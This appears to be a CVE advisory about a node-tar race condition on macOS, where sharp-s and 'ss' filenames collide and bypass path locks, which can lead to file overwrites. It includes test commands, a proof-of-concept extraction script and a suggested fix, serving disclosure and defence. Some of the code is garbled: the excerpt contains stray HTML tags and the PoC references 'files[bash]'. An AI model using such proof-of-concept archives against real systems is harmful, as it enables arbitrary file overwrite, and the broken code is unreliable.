node-tar, Race Condition via Unicode Sharp-S Collisions, Critical

Listen to this Post

The vulnerability in node-tar v7.5.3 stems from its path-reservations system, which aims to serialize operations on identical paths to prevent race conditions during tar extraction. This system normalizes paths using `normalizeUnicode(p)` before applying locks. However, on macOS APFS filesystems, which are normalization-insensitive, the Unicode character sharp-s (ß) is treated as equivalent to “ss” at the filesystem level. The code’s normalization uses NFD form, where ß remains distinct from ss, but APFS conflates them, causing a discrepancy. Consequently, when a tar archive contains entries with “ß” and “ss” in filenames, the reservation system sees them as different paths and does not lock them together. This allows parallel processing threads to handle both entries simultaneously, bypassing concurrency safeguards. The race condition enables symlink poisoning attacks, where maliciously crafted archives can lead to arbitrary file overwrites. Specifically, during extraction, overlapping operations on colliding paths may clobber files or create symlinks, compromising system integrity on affected macOS systems.
Platform: node-tar
Version: 7.5.3
Vulnerability: Race Condition
Severity: Critical
Date: 2026-01-19

Prediction: 2026-02-01

What Undercode Say:

Bash commands for testing collisions:

printf "CONTENT_SS\n" > collision_test_ss
ls
printf "CONTENT_ESSZETT\n" > collision_test_ß
ls -la

Code from path-reservations.ts:

</dt>
<dt>reserve(paths: string[], fn: Handler) {</dt>
<dt>paths =</dt>
<dt>isWindows ?</dt>
<dt>['win32 parallelization disabled']</dt>
<dd>paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})

PoC JavaScript code:

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[] Testing...');
console.log(<code>[] Extraction target: ${exploitDir}</code>);
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512)));
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512)));
stream.write(Buffer.alloc(1024));
stream.end();
const extract = new tar.Unpack({
cwd: exploitDir,
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[] Extraction complete');
const files = fs.readdirSync(exploitDir);
console.log('[] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(<code>File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})</code>);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[bash])).ino === fs.statSync(path.join(exploitDir, files[bash])).ino)) {
console.log('[] GOOD');
} else {
console.log('[-] No collision');
}
});

How Exploit:

Malicious tar archives with ß/ss colliding filenames trigger parallel extraction, bypassing locks to overwrite files or create symlinks via race conditions.

Protection from this CVE

Update path-reservations.js to use NFKD normalization followed by toLocaleLowerCase(‘en’) and toLocaleUpperCase(‘en’). Filter symbolic link entries.

Impact:

Arbitrary File Overwrite

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top